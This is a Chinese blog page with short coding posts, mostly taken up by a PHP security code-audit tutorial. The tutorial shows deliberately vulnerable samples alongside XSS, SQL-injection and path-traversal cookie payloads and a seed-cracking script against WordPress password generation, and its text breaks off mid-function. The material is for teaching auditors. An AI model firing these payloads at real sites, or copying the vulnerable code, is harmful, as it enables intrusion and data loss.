<rt id="bn8ez"></rt>
<label id="bn8ez"></label>

  • <span id="bn8ez"></span>

    <label id="bn8ez"><meter id="bn8ez"></meter></label>

    2010年11月5日

      sql server中查詢刪除含有回車換行制表符的記錄 收藏
    --   制表符             CHAR(9)    
    --   換行符             CHAR(10)    
    --   回車                 CHAR(13)    
    --在表aaa中過濾包含回車換行符的字段b的記錄
    select * from aaa
    where charindex(char(10)+char(13),b)>0  
    --在表aaa中把包含回車換行符的字段b的記錄的回車換行符去掉
    update aaa set b=replace(b,char(10)+char(13),'')

    本文來自CSDN博客,轉載請標明出處:http://blog.csdn.net/jiedushi/archive/2008/09/15/2933621.aspx

    posted @ 2010-11-05 09:40 肖馬輝 閱讀(1209) | 評論 (1)編輯 收藏

    2010年7月6日

    jmail.POP3 popMail = new jmail.POP3();

                jmail.Message mailMessage;
                jmail.Attachments atts;
                jmail.Attachment att;
                string pop = "mail.xx.com";
                popMail.Connect("xx@xx.com", "xxxx", pop, 110);
                for (int i = 1; i <= popMail.Count; i++)
                {
                    mailMessage = popMail.Messages[i];
                    atts = mailMessage.Attachments;
                    mailMessage.Charset = "gb2312";
                    mailMessage.ContentTransferEncoding = "base64";
                    mailMessage.Encoding = "base64";
                    mailMessage.ISOEncodeHeaders = false;
                    MessageBox.Show(mailMessage.Subject);
                }

                popMail.Disconnect();

    posted @ 2010-07-06 20:49 肖馬輝 閱讀(320) | 評論 (0)編輯 收藏
     

     

    Cookie類封裝了基本的Cookie靜態操作方法,并且無需引入和實例化就可以直接使用。
    和Cookie相關的設置參數有
    'COOKIE_EXPIRE'=>30000000000,                // Cookie有效期

    'COOKIE_DOMAIN'=>$_SERVER['HTTP_HOST'],        // Cookie有效域名

    'COOKIE_PATH'=>'/',                        // Cookie路徑

    'COOKIE_PREFIX'=>'THINK_',           // Cookie前綴 避免沖突
    復制代碼
    [ 方法 ]
    常用的操作方法:
    is_set($name) // 檢測Cookie變量是否存在
    set($name,$value,$expire='',$path='',$domain='') // 設置Cookie值
    Set方法還支持三個可選參數
    $expire 有效期
    $path Cookie路徑
    $domain Cookie域名
    如果沒有設置則使用配置文件里面的相關配置的值。
    get($name) // 獲取Cookie值
    delete($name) // 刪除Cookie的值
    clear($name) // 清空Cookie

    [ 示例 ]
    下面給出了Cookie的相關操作例子:
    // 檢測Cookie變量是否存在

    Cookie::is_set('userId');       

    // 設置Cookie值

    Cookie::set('userId','2008');

    // 設置Cookie 有效期24小時

    Cookie::set('userId','2008',60*60*24);

    // 獲取Cookie值

    Cookie::get('userId');

    // 刪除Cookie值

    Cookie::delete('userId');
    復制代碼
    注意默認的配置參數COOKIE_PREFIX的值是'THINK_',   所以,如果需要通過傳統方式調用Cookie值的話,應該是
    Cookie::get('userId')應該等同于
    $_COOKIE['THINK_userId']

    posted @ 2010-07-06 15:11 肖馬輝 閱讀(2059) | 評論 (1)編輯 收藏

    2010年6月28日

    [目錄]

    1. 前言
    2. 傳統的代碼審計技術
    3. PHP版本與應用代碼審計
    4. 其他的因素與應用代碼審計
    5. 擴展我們的字典
      5.1 變量本身的key
      5.2 變量覆蓋
        5.2.1 遍歷初始化變量
        5.2.2 parse_str()變量覆蓋漏洞
        5.2.3 import_request_variables()變量覆蓋漏洞
        5.2.4 PHP5 Globals
      5.3 magic_quotes_gpc與代碼安全
        5.3.1 什么是magic_quotes_gpc
        5.3.2 哪些地方沒有魔術引號的保護
        5.3.3 變量的編碼與解碼
        5.3.4 二次攻擊
        5.3.5 魔術引號帶來的新的安全問題
        5.3.6 變量key與魔術引號
      5.4 代碼注射
        5.4.1 PHP中可能導致代碼注射的函數
        5.4.2 變量函數與雙引號
      5.5 PHP自身函數漏洞及缺陷
        5.5.1 PHP函數的溢出漏洞
        5.5.2 PHP函數的其他漏洞
        5.5.3 session_destroy()刪除文件漏洞
        5.5.4 隨機函數
      5.6 特殊字符
        5.6.1 截斷
          5.6.1.1 include截斷
          5.6.1.2 數據截斷
          5.6.1.3 文件操作里的特殊字符
    6. 怎么進一步尋找新的字典
    7. DEMO
    8. 后話
    9. 附錄


    一、前言

        PHP是一種被廣泛使用的腳本語言,尤其適合于web開發。具有跨平臺,容易學習,功能強
    大等特點,據統計全世界有超過34%的網站有php的應用,包括Yahoo、sina、163、sohu等大型
    門戶網站。而且很多具名的web應用系統(包括bbs,blog,wiki,cms等等)都是使用php開發的,
    Discuz、phpwind、phpbb、vbb、wordpress、boblog等等。隨著web安全的熱點升級,php應
    用程序的代碼安全問題也逐步興盛起來,越來越多的安全人員投入到這個領域,越來越多的應
    用程序代碼漏洞被披露。針對這樣一個狀況,很多應用程序的官方都成立了安全部門,或者雇
    傭安全人員進行代碼審計,因此出現了很多自動化商業化的代碼審計工具。也就是這樣的形
    勢導致了一個局面:大公司的產品安全系數大大的提高,那些很明顯的漏洞基本滅絕了,那些
    大家都知道的審計技術都無用武之地了。我們面對很多工具以及大牛掃描過n遍的代碼,有很
    多的安全人員有點悲觀,而有的官方安全人員也非常的放心自己的代碼,但是不要忘記了“沒
    有絕對的安全”,我們應該去尋找新的途徑挖掘新的漏洞。本文就給介紹了一些非傳統的技術
    經驗和大家分享。

        另外在這里特別說明一下本文里面很多漏洞都是來源于網絡上牛人和朋友們的分享,在
    這里需要感謝他們,:)


    二、傳統的代碼審計技術

        WEB應用程序漏洞查找基本上是圍繞兩個元素展開:變量與函數。也就是說一漏洞的利用
    必須把你提交的惡意代碼通過變量經過n次變量轉換傳遞,最終傳遞給目標函數執行,還記得
    MS那句經典的名言嗎?“一切輸入都是有害的”。這句話只強調了變量輸入,很多程序員把“輸
    入”理解為只是gpc[$_GET,$_POST,$_COOKIE],但是變量在傳遞過程產生了n多的變化。導致
    很多過濾只是個“紙老虎”!我們換句話來描敘下代碼安全:“一切進入函數的變量是有害的”。

        PHP代碼審計技術用的最多也是目前的主力方法:靜態分析,主要也是通過查找容易導致
    安全漏洞的危險函數,常用的如grep,findstr等搜索工具,很多自動化工具也是使用正則來搜
    索這些函數。下面列舉一些常用的函數,也就是下文說的字典(暫略)。但是目前基本已有的
    字典很難找到漏洞,所以我們需要擴展我們的字典,這些字典也是本文主要探討的。

        其他的方法有:通過修改PHP源代碼來分析變量流程,或者hook危險的函數來實現對應用
    程序代碼的審核,但是這些也依靠了我們上面提到的字典。


    三、PHP版本與應用代碼審計

        到目前為止,PHP主要有3個版本:php4、php5、php6,使用比例大致如下:

    php4 68%
    2000-2007,No security fixes after 2008/08,最終版本是php4.4.9

    php5 32%
    2004-present,Now at version 5.2.6(PHP 5.3 alpha1 released!)

    php6
    目前還在測試階段,變化很多做了大量的修改,取消了很多安全選項如magic_quotes_gpc。
    (這個不是今天討論的范圍)

        由于php缺少自動升級的機制,導致目前PHP版本并存,也導致很多存在漏洞沒有被修補。
    這些有漏洞的函數也是我們進行WEB應用程序代碼審計的重點對象,也是我們字典重要來源。


    四、其他的因素與應用代碼審計

        很多代碼審計者拿到代碼就看,他們忽視了“安全是一個整體”,代碼安全很多的其他因素
    有關系,比如上面我們談到的PHP版本的問題,比較重要的還有操作系統類型(主要是兩大陣營
    win/*nix),WEB服務端軟件(主要是iis/apache兩大類型)等因素。這是由于不同的系統不同
    的WEB SERVER有著不同的安全特點或特性,下文有些部分會涉及。

        所以我們在做某個公司WEB應用代碼審計時,應該了解他們使用的系統,WEB服務端軟件,
    PHP版本等信息。


    五、擴展我們的字典

    下面將詳細介紹一些非傳統PHP應用代碼審計一些漏洞類型和利用技巧。

    5.1 變量本身的key

        說到變量的提交很多人只是看到了GET/POST/COOKIE等提交的變量的值,但是忘記了有的
    程序把變量本身的key也當變量提取給函數處理。

    --code-------------------------------------------------------------------------
    <?php
    //key.php?aaaa'aaa=1&bb'b=2
    //print_R($_GET);
    foreach ($_GET AS $key => $value)
    {
    print $key."\n";
    }
    ?>
    -------------------------------------------------------------------------------

        上面的代碼就提取了變量本身的key顯示出來,單純對于上面的代碼,如果我們提交URL:

    --code-------------------------------------------------------------------------
    key.php?<script>alert(1);</script>=1&bbb=2
    -------------------------------------------------------------------------------

        那么就導致一個xss的漏洞,擴展一下如果這個key提交給include()等函數或者sql查詢
    呢?:)

    +++++++++++++++++++++++++
    漏洞審計策略
    -------------------------
    PHP版本要求:無
    系統要求:無
    審計策略:通讀代碼
    +++++++++++++++++++++++++


    5.2 變量覆蓋(variable-overwrite)

        很多的漏洞查找者都知道extract()這個函數在指定參數為EXTR_OVERWRITE或者沒有指
    定函數可以導致變量覆蓋,但是還有很多其他情況導致變量覆蓋的如:

    5.2.1 遍歷初始化變量

    請看如下代碼:

    --code-------------------------------------------------------------------------
    <?php
    //var.php?a=fuck
    $a='hi';
    foreach($_GET as $key => $value) {
    $$key = $value;
    }
    print $a;
    ?>
    -------------------------------------------------------------------------------

        很多的WEB應用都使用上面的方式(注意循環不一定是foreach),如Discuz!4.1的WAP部分
    的代碼:

    --code-------------------------------------------------------------------------
    $chs = '';
    if($_POST && $charset != 'utf-8') {
    $chs = new Chinese('UTF-8', $charset);
    foreach($_POST as $key => $value) {
    $$key = $chs->Convert($value);
    }
    unset($chs);
    -------------------------------------------------------------------------------

    +++++++++++++++++++++++++
    漏洞審計策略
    -------------------------
    PHP版本要求:無
    系統要求:無
    審計策略:通讀代碼
    +++++++++++++++++++++++++


    5.2.2 parse_str()變量覆蓋漏洞(CVE-2007-3205)、mb_parse_str()

    --code-------------------------------------------------------------------------
    //var.php?var=new
    $var = 'init';                    
    parse_str($_SERVER['QUERY_STRING']);
    print $var;
    -------------------------------------------------------------------------------

        該函數一樣可以覆蓋數組變量,上面的代碼是通過$_SERVER['QUERY_STRING']來提取變
    量的,對于指定了變量名的我們可以通過注射“=”來實現覆蓋其他的變量:

    --code-------------------------------------------------------------------------
    //var.php?var=1&a[1]=var1%3d222
    $var1 = 'init';
    parse_str($a[$_GET['var']]);
    print $var1;
    -------------------------------------------------------------------------------

    上面的代碼通過提交$var來實現對$var1的覆蓋。

    +++++++++++++++++++++++++
    漏洞審計策略(parse_str)
    -------------------------
    PHP版本要求:無
    系統要求:無
    審計策略:查找字符parse_str
    +++++++++++++++++++++++++

    +++++++++++++++++++++++++
    漏洞審計策略(mb_parse_str)
    -------------------------
    PHP版本要求:php4<4.4.7 php5<5.2.2
    系統要求:無
    審計策略:查找字符mb_parse_str
    +++++++++++++++++++++++++


    5.2.3 import_request_variables()變量覆蓋漏洞(CVE-2007-1396)

    --code-------------------------------------------------------------------------
    //var.php?_SERVER[REMOTE_ADDR]=10.1.1.1
    echo 'GLOBALS '.(int)ini_get("register_globals")."n";
    import_request_variables('GPC');
    if ($_SERVER['REMOTE_ADDR'] != '10.1.1.1') die('Go away!');
    echo 'Hello admin!';
    -------------------------------------------------------------------------------

    +++++++++++++++++++++++++
    漏洞審計策略(import_request_variables)
    -------------------------
    PHP版本要求:php4<4.4.1 php5<5.2.2
    系統要求:無
    審計策略:查找字符import_request_variables
    +++++++++++++++++++++++++


    5.2.4 PHP5 Globals

        從嚴格意義上來說這個不可以算是PHP的漏洞,只能算是一個特性,測試代碼:

    --code-------------------------------------------------------------------------
    <?
    // register_globals =ON
    //foo.php?GLOBALS[foobar]=HELLO
    php echo $foobar;
    ?>
    -------------------------------------------------------------------------------

        但是很多的程序沒有考慮到這點,請看如下代碼:

    --code-------------------------------------------------------------------------
    //為了安全取消全局變量
    //var.php?GLOBALS[a]=aaaa&b=111
    if (ini_get('register_globals')) foreach($_REQUEST as $k=>$v) unset(${$k});
    print $a;
    print $_GET[b];
    -------------------------------------------------------------------------------

        如果熟悉WEB2.0的攻擊的同學,很容易想到上面的代碼我們可以利用這個特性進行crsf
    攻擊。

    +++++++++++++++++++++++++
    漏洞審計策略
    -------------------------
    PHP版本要求:無
    系統要求:無
    審計策略:通讀代碼
    +++++++++++++++++++++++++


    5.3 magic_quotes_gpc與代碼安全

    5.3.1 什么是magic_quotes_gpc

        當打開時,所有的 '(單引號),"(雙引號),\(反斜線)和 NULL 字符都會被自動加上一個
    反斜線進行轉義。還有很多函數有類似的作用 如:addslashes()、mysql_escape_string()、
    mysql_real_escape_string()等,另外還有parse_str()后的變量也受magic_quotes_gpc的影
    響。目前大多數的主機都打開了這個選項,并且很多程序員也注意使用上面那些函數去過濾
    變量,這看上去很安全。很多漏洞查找者或者工具遇到些函數過濾后的變量直接就放棄,但是
    就在他們放棄的同時也放過很多致命的安全漏洞。 :)

    5.3.2 哪些地方沒有魔術引號的保護
       
    1) $_SERVER變量

        PHP5的$_SERVER變量缺少magic_quotes_gpc的保護,導致近年來X-Forwarded-For的漏洞
    猛暴,所以很多程序員考慮過濾X-Forwarded-For,但是其他的變量呢?

    +++++++++++++++++++++++++
    漏洞審計策略($_SERVER變量)
    -------------------------
    PHP版本要求:無
    系統要求:無
    審計策略:查找字符_SERVER
    +++++++++++++++++++++++++


    2) getenv()得到的變量(使用類似$_SERVER變量)
      
    +++++++++++++++++++++++++
    漏洞審計策略(getenv())
    -------------------------
    PHP版本要求:無
    系統要求:無
    審計策略:查找字符getenv
    +++++++++++++++++++++++++


    3) $HTTP_RAW_POST_DATA與PHP輸入、輸出流

        主要應用與soap/xmlrpc/webpublish功能里,請看如下代碼:

    --code-------------------------------------------------------------------------
    if ( !isset( $HTTP_RAW_POST_DATA ) ) {
    $HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
    }
    if ( isset($HTTP_RAW_POST_DATA) )
    $HTTP_RAW_POST_DATA = trim($HTTP_RAW_POST_DATA);
    -------------------------------------------------------------------------------
           
    +++++++++++++++++++++++++
    漏洞審計策略(數據流)
    -------------------------
    PHP版本要求:無
    系統要求:無
    審計策略:查找字符HTTP_RAW_POST_DATA或者php://input
    +++++++++++++++++++++++++


    4) 數據庫操作容易忘記'的地方如:in()/limit/order by/group by
        
        如Discuz!<5.0的pm.php:
        
    --code-------------------------------------------------------------------------
    if(is_array($msgtobuddys)) {
    $msgto = array_merge($msgtobuddys, array($msgtoid));
    ......
    foreach($msgto as $uid) {
    $uids .= $comma.$uid;
    $comma = ',';
    }
    ......
    $query = $db->query("SELECT m.username, mf.ignorepm FROM {$tablepre}members m
    LEFT JOIN {$tablepre}memberfields mf USING(uid)
    WHERE m.uid IN ($uids)");
    -------------------------------------------------------------------------------

    +++++++++++++++++++++++++
    漏洞審計策略
    -------------------------
    PHP版本要求:無
    系統要求:無
    審計策略:查找數據庫操作字符(select,update,insert等等)
    +++++++++++++++++++++++++


    5.3.3 變量的編碼與解碼

        一個WEB程序很多功能的實現都需要變量的編碼解碼,而且就在這一轉一解的傳遞過程中
    就悄悄的繞過你的過濾的安全防線。

        這個類型的主要函數有:

    1) stripslashes() 這個其實就是一個decode-addslashes()

    2) 其他字符串轉換函數:

    base64_decode -- 對使用 MIME base64 編碼的數據進行解碼
    base64_encode -- 使用 MIME base64 對數據進行編碼
    rawurldecode -- 對已編碼的 URL 字符串進行解碼
    rawurlencode -- 按照 RFC 1738 對 URL 進行編碼
    urldecode -- 解碼已編碼的 URL 字符串
    urlencode -- 編碼 URL 字符串
    ......
    (另外一個 unserialize/serialize)

    3) 字符集函數(GKB,UTF7/8...)如iconv()/mb_convert_encoding()等
         
        目前很多漏洞挖掘者開始注意這一類型的漏洞了,如典型的urldecode:

    --code-------------------------------------------------------------------------
    $sql = "SELECT * FROM article WHERE articleid='".urldecode($_GET[id])."'";
    -------------------------------------------------------------------------------

        當magic_quotes_gpc=on時,我們提交?id=%2527,得到sql語句為:

    --code-------------------------------------------------------------------------
    SELECT * FROM article WHERE articleid='''
    -------------------------------------------------------------------------------

    +++++++++++++++++++++++++
    漏洞審計策略
    -------------------------
    PHP版本要求:無
    系統要求:無
    審計策略:查找對應的編碼函數
    +++++++++++++++++++++++++


    5.3.4 二次攻擊(詳細見附錄[1])

    1) 數據庫出來的變量沒有進行過濾

    2) 數據庫的轉義符號:

      * mysql/oracle轉義符號同樣是\(我們提交'通過魔術引號變化為\',當我們update進入數
    據庫時,通過轉義變為')

      * mssql的轉義字符為'(所以我們提交'通過魔術引號變化為\',mssql會把它當為一個字符
    串直接處理,所以魔術引號對于mssql的注射沒有任何意義)
       
        從這里我們可以思考得到一個結論:一切進入函數的變量都是有害的,另外利用二次攻擊
    我們可以實現一個webrootkit,把我們的惡意構造直接放到數據庫里。我們應當把這樣的代
    碼看成一個vul?

    +++++++++++++++++++++++++
    漏洞審計策略
    -------------------------
    PHP版本要求:無
    系統要求:無
    審計策略:通讀代碼
    +++++++++++++++++++++++++


    5.3.5 魔術引號帶來的新的安全問題

        首先我們看下魔術引號的處理機制:

    [\-->\\,'-->\',"-->\",null-->\0]

        這給我們引進了一個非常有用的符號“\”,“\”符號不僅僅是轉義符號,在WIN系統下也是
    目錄轉跳的符號。這個特點可能導致php應用程序里產生非常有意思的漏洞:

    1) 得到原字符(',\,",null])

    --code-------------------------------------------------------------------------
    $order_sn=substr($_GET['order_sn'], 1);

    //提交                 '
    //魔術引號處理         \'
    //substr               '

    $sql = "SELECT order_id, order_status, shipping_status, pay_status, ".
       " shipping_time, shipping_id, invoice_no, user_id ".
       " FROM " . $ecs->table('order_info').
       " WHERE order_sn = '$order_sn' LIMIT 1";
    -------------------------------------------------------------------------------

    2) 得到“\”字符

    --code-------------------------------------------------------------------------
    $order_sn=substr($_GET['order_sn'], 0,1);

    //提交                 '
    //魔術引號處理         \'
    //substr               \   

    $sql = "SELECT order_id, order_status, shipping_status, pay_status, ".
       " shipping_time, shipping_id, invoice_no, user_id ".
       " FROM " . $ecs->table('order_info').
       " WHERE order_sn = '$order_sn' and order_tn='".$_GET['order_tn']."'";
    -------------------------------------------------------------------------------
      
        提交內容:

    --code-------------------------------------------------------------------------
    ?order_sn='&order_tn=%20and%201=1/*
    -------------------------------------------------------------------------------

        執行的SQL語句為:

    --code-------------------------------------------------------------------------
    SELECT order_id, order_status, shipping_status, pay_status, shipping_time,
    shipping_id, invoice_no, user_id FROM order_info WHERE order_sn = '\' and
    order_tn=' and 1=1/*'
    -------------------------------------------------------------------------------

    +++++++++++++++++++++++++
    漏洞審計策略
    -------------------------
    PHP版本要求:無
    系統要求:無
    審計策略:查找字符串處理函數如substr或者通讀代碼
    +++++++++++++++++++++++++


    5.3.6 變量key與魔術引號
       
        我們最在這一節的開頭就提到了變量key,PHP的魔術引號對它有什么影響呢?

    --code-------------------------------------------------------------------------
    <?php
    //key.php?aaaa'aaa=1&bb'b=2
    //print_R($_GET);
    foreach ($_GET AS $key => $value)
            {
            print $key."\n";
            }
    ?>
    -------------------------------------------------------------------------------

    1) 當magic_quotes_gpc = On時,在php5.24下測試顯示:
     
    aaaa\'aaa
    bb\'b

        從上面結果可以看出來,在設置了magic_quotes_gpc = On下,變量key受魔術引號影響。
    但是在php4和php<5.2.1的版本中,不處理數組第一維變量的key,測試代碼如下:

    --code-------------------------------------------------------------------------
    <?php
    //key.php?aaaa'aaa[bb']=1
    print_R($_GET);
    ?>
    -------------------------------------------------------------------------------

        結果顯示:

    Array ( [aaaa'aaa] => Array ( [bb\'] => 1 ) )  

        數組第一維變量的key不受魔術引號的影響。

    +++++++++++++++++++++++++
    漏洞審計策略
    -------------------------
    PHP版本要求:php4和php<5.2.1
    系統要求:無
    審計策略:通讀代碼
    +++++++++++++++++++++++++


    2) 當magic_quotes_gpc = Off時,在php5.24下測試顯示:

    aaaa'aaa
    bb'b

        對于magic_quotes_gpc = Off時所有的變量都是不安全的,考慮到這個,很多程序都通過
    addslashes等函數來實現魔術引號對變量的過濾,示例代碼如下:

    --code-------------------------------------------------------------------------
    <?php
    //keyvul.php?aaa'aa=1'
    //magic_quotes_gpc = Off
    if (!get_magic_quotes_gpc())
    {
    $_GET  = addslashes_array($_GET);
    }

    function addslashes_array($value)
    {
            return is_array($value) ? array_map('addslashes_array', $value) : addslashes($value);
    }
    print_R($_GET);
    foreach ($_GET AS $key => $value)
    {
    print $key;
    }
    ?>
    -------------------------------------------------------------------------------

        以上的代碼看上去很完美,但是他這個代碼里addslashes($value)只處理了變量的具體
    的值,但是沒有處理變量本身的key,上面的代碼顯示結果如下:
     
    Array
    (
        [aaa'aa] => 1\'
    )
    aaa'aa

    +++++++++++++++++++++++++
    漏洞審計策略
    -------------------------
    PHP版本要求:無
    系統要求:無
    審計策略:通讀代碼
    +++++++++++++++++++++++++


    5.4 代碼注射

    5.4.1 PHP中可能導致代碼注射的函數

        很多人都知道eval、preg_replace+/e可以執行代碼,但是不知道php還有很多的函數可
    以執行代碼如:

    assert()
    call_user_func()
    call_user_func_array()
    create_function()
    變量函數
    ...

        這里我們看看最近出現的幾個關于create_function()代碼執行漏洞的代碼:

    --code-------------------------------------------------------------------------
    <?php
    //how to exp this code
    $sort_by=$_GET['sort_by'];
    $sorter='strnatcasecmp';
    $databases=array('test','test');
    $sort_function = '  return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);
          ';
    usort($databases, create_function('$a, $b', $sort_function));
    -------------------------------------------------------------------------------

    +++++++++++++++++++++++++
    漏洞審計策略
    -------------------------
    PHP版本要求:無
    系統要求:無
    審計策略:查找對應函數(assert,call_user_func,call_user_func_array,create_function等)
    +++++++++++++++++++++++++


    5.4.2 變量函數與雙引號
        
        對于單引號和雙引號的區別,很多程序員深有體會,示例代碼:

    --code-------------------------------------------------------------------------
    echo "$a\n";
    echo '$a\n';
    -------------------------------------------------------------------------------

        我們再看如下代碼:

    --code-------------------------------------------------------------------------
    //how to exp this code
    if($globals['bbc_email']){

    $text = preg_replace(
    array("/\[email=(.*?)\](.*?)\[\/email\]/ies",
    "/\[email\](.*?)\[\/email\]/ies"),
    array('check_email("$1", "$2")',
    'check_email("$1", "$1")'), $text);
    -------------------------------------------------------------------------------

        另外很多的應用程序都把變量用""存放在緩存文件或者config或者data文件里,這樣很
    容易被人注射變量函數。
      
    +++++++++++++++++++++++++
    漏洞審計策略
    -------------------------
    PHP版本要求:無
    系統要求:無
    審計策略:通讀代碼
    +++++++++++++++++++++++++


    5.5 PHP自身函數漏洞及缺陷
        
    5.5.1 PHP函數的溢出漏洞

        大家還記得Stefan Esser大牛的Month of PHP Bugs(MOPB見附錄[2])項目么,其中比較
    有名的要算是unserialize(),代碼如下:

    --code-------------------------------------------------------------------------
    unserialize(stripslashes($HTTP_COOKIE_VARS[$cookiename . '_data']);
    -------------------------------------------------------------------------------

        在以往的PHP版本里,很多函數都曾經出現過溢出漏洞,所以我們在審計應用程序漏洞的
    時候不要忘記了測試目標使用的PHP版本信息。

    +++++++++++++++++++++++++
    漏洞審計策略
    -------------------------
    PHP版本要求:對應fix的版本
    系統要求:
    審計策略:查找對應函數名
    +++++++++++++++++++++++++


    5.5.2 PHP函數的其他漏洞

        Stefan Esser大牛發現的漏洞:unset()--Zend_Hash_Del_Key_Or_Index Vulnerability
       
        比如phpwind早期的serarch.php里的代碼:

    --code-------------------------------------------------------------------------
    unset($uids);
    ......
    $query=$db->query("SELECT uid FROM pw_members WHERE username LIKE '$pwuser'");
    while($member=$db->fetch_array($query)){
    $uids .= $member['uid'].',';
    }
    $uids ? $uids=substr($uids,0,-1) : $sqlwhere.=' AND 0 ';
    ........
    $query = $db->query("SELECT DISTINCT t.tid FROM $sqltable WHERE $sqlwhere $orderby $limit");
    -------------------------------------------------------------------------------
       
    +++++++++++++++++++++++++
    漏洞審計策略
    -------------------------
    PHP版本要求:php4<4.3 php5<5.14
    系統要求:無
    審計策略:查找unset
    +++++++++++++++++++++++++


    5.5.3 session_destroy()刪除文件漏洞(測試PHP版本:5.1.2)
       
        這個漏洞是幾年前朋友saiy發現的,session_destroy()函數的功能是刪除session文件,
    很多web應用程序的logout的功能都直接調用這個函數刪除session,但是這個函數在一些老
    的版本中缺少過濾導致可以刪除任意文件。測試代碼如下:

    --code-------------------------------------------------------------------------
    <?php
    //val.php  
    session_save_path('./');
    session_start();
    if($_GET['del']) {
    session_unset();
    session_destroy();
    }else{
    $_SESSION['hei']=1;
    echo(session_id());
    print_r($_SESSION);
    }
    ?>
    -------------------------------------------------------------------------------

        當我們提交構造cookie:PHPSESSID=/../1.php,相當于unlink('sess_/../1.php')這樣
    就通過注射../轉跳目錄刪除任意文件了。很多著名的程序某些版本都受影響如phpmyadmin,
    sablog,phpwind3等等。

    +++++++++++++++++++++++++
    漏洞審計策略
    -------------------------
    PHP版本要求:具體不詳
    系統要求:無
    審計策略:查找session_destroy
    +++++++++++++++++++++++++


    5.5.4 隨機函數
       
    1) rand() VS mt_rand()

    --code-------------------------------------------------------------------------
    <?php
    //on windows
    print mt_getrandmax(); //2147483647
    print getrandmax();// 32767
    ?>
    -------------------------------------------------------------------------------

        可以看出rand()最大的隨機數是32767,這個很容易被我們暴力破解。

    --code-------------------------------------------------------------------------
    <?php
    $a= md5(rand());
    for($i=0;$i<=32767;$i++){
      if(md5($i) ==$a ) {
       print $i."-->ok!!<br>";exit;
       }else { print $i."<br>";}
    }
    ?>
    -------------------------------------------------------------------------------

        當我們的程序使用rand處理session時,攻擊者很容易暴力破解出你的session,但是對于
    mt_rand是很難單純的暴力的。

    +++++++++++++++++++++++++
    漏洞審計策略
    -------------------------
    PHP版本要求:無
    系統要求:無
    審計策略:查找rand
    +++++++++++++++++++++++++


    2) mt_srand()/srand()-weak seeding(by Stefan Esser)
       
        看php手冊里的描述:

    -------------------------------------------------------------------------------
    mt_srand
    (PHP 3 >= 3.0.6, PHP 4, PHP 5)

    mt_srand -- 播下一個更好的隨機數發生器種子
    說明
    void mt_srand ( int seed )


    用 seed 來給隨機數發生器播種。從 PHP 4.2.0 版開始,seed 參數變為可選項,當該項為空
    時,會被設為隨時數。

    例子 1. mt_srand() 范例

    <?php
    // seed with microseconds
    function make_seed()
    {
        list($usec, $sec) = explode(' ', microtime());
        return (float) $sec + ((float) $usec * 100000);
    }
    mt_srand(make_seed());
    $randval = mt_rand();
    ?> 

    注: 自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函數給隨機數發生器播種,現已
    自動完成。
    -------------------------------------------------------------------------------

        php從4.2.0開始實現了自動播種,但是為了兼容,后來使用類似于這樣的代碼播種:

    --code-------------------------------------------------------------------------
    mt_srand ((double) microtime() * 1000000)
    -------------------------------------------------------------------------------

        但是使用(double)microtime()*1000000類似的代碼seed是比較脆弱的:

    0<(double) microtime()<1 ---> 0<(double) microtime()* 1000000<1000000

        那么很容易暴力破解,測試代碼如下:

    --code-------------------------------------------------------------------------
    <?php
    /////////////////
    //>php rand.php
    //828682
    //828682
    ////////////////
    ini_set("max_execution_time",0);
    $time=(double) microtime()* 1000000;
    print $time."\n";
    mt_srand ($time);

    $search_id = mt_rand();
    $seed = search_seed($search_id);
    print $seed;
    function search_seed($rand_num) {
    $max = 1000000;
    for($seed=0;$seed<=$max;$seed++){
    mt_srand($seed);
    $key = mt_rand();
    if($key==$rand_num) return $seed;
    }
    return false;
    }
    ?>
    -------------------------------------------------------------------------------

        從上面的代碼實現了對seed的破解,另外根據Stefan Esser的分析seed還根據進程變化
    而變化,換句話來說同一個進程里的seed是相同的。 然后同一個seed每次mt_rand的值都是
    特定的。如下圖:

    +--------------+
    |   seed-A     |
    +--------------+
    | mt_rand-A-1  |
    | mt_rand-A-2  |
    | mt_rand-A-3  |
    +--------------+

    +--------------+
    |   seed-B     |
    +--------------+
    | mt_rand-B-1  |
    | mt_rand-B-2  |
    | mt_rand-B-3  |
    +--------------+

        對于seed-A里mt_rand-1/2/3都是不相等的,但是值都是特定的,也就是說當seed-A等于
    seed-B,那么mt_rand-A-1就等于mt_rand-B-1…,這樣我們只要能夠得到seed就可以得到每次
    mt_rand的值了。

        對于5.2.6>php>4.2.0直接使用默認播種的程序也是不安全的(很多的安全人員錯誤的以
    為這樣就是安全的),這個要分兩種情況來分析:

    第一種:'Cross Application Attacks',這個思路在Stefan Esser文章里有提到,主要是利用
    其他程序定義的播種(如mt_srand ((double) microtime()* 1000000)),phpbb+wordpree組
    合就存在這樣的危險.

    第二種:5.2.6>php>4.2.0默認播種的算法也不是很強悍,這是Stefan Esser的文章里的描述:

    -------------------------------------------------------------------------------
    The Implementation
    When mt_rand() is seeded internally or by a call to mt_srand() PHP 4 and PHP 5
    <= 5.2.0 force the lowest bit to 1. Therefore the strength of the seed is only
    31 and not 32 bits. In PHP 5.2.1 and above the implementation of the Mersenne
    Twister was changed and the forced bit removed.
    -------------------------------------------------------------------------------

        在32位系統上默認的播種的種子為最大值是2^32,這樣我們循環最多2^32次就可以破解
    seed。而在PHP 4和PHP 5 <= 5.2.0 的算法有個bug:奇數和偶數的播種是一樣的(詳見附錄
    [3]),測試代碼如下:

    --code-------------------------------------------------------------------------
    <?php
    mt_srand(4);
    $a = mt_rand();
    mt_srand(5);
    $b = mt_rand();
    print $a."\n".$b;
    ?>
    -------------------------------------------------------------------------------

        通過上面的代碼發現$a==$b,所以我們循環的次數為2^32/2=2^31次。我們看如下代碼:

    --code-------------------------------------------------------------------------
    <?php
    //base on http://www.milw0rm.com/exploits/6421
    //test on php 5.2.0

    define('BUGGY', 1); //上面代碼$a==$b時候定義BUGGY=1

    $key = wp_generate_password(20, false);
    echo $key."\n";
    $seed = getseed($key);
    print $seed."\n";

    mt_srand($seed);
    $pass = wp_generate_password(20, false);
    echo $pass."\n";

    function wp_generate_password($length = 12, $special_chars = true) {
    $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
    if ( $special_chars )
    $chars .= '!@#$%^&*()';

    $password = '';
    for ( $i = 0; $i < $length; $i++ )
    $password .= substr($chars, mt_rand(0, strlen($chars) - 1), 1);
    return $password;
    }

    function getseed($resetkey) {
    $max = pow(2,(32-BUGGY));
    for($x=0;$x<=$max;$x++) {
    $seed = BUGGY ? ($x << 1) + 1 : $x;
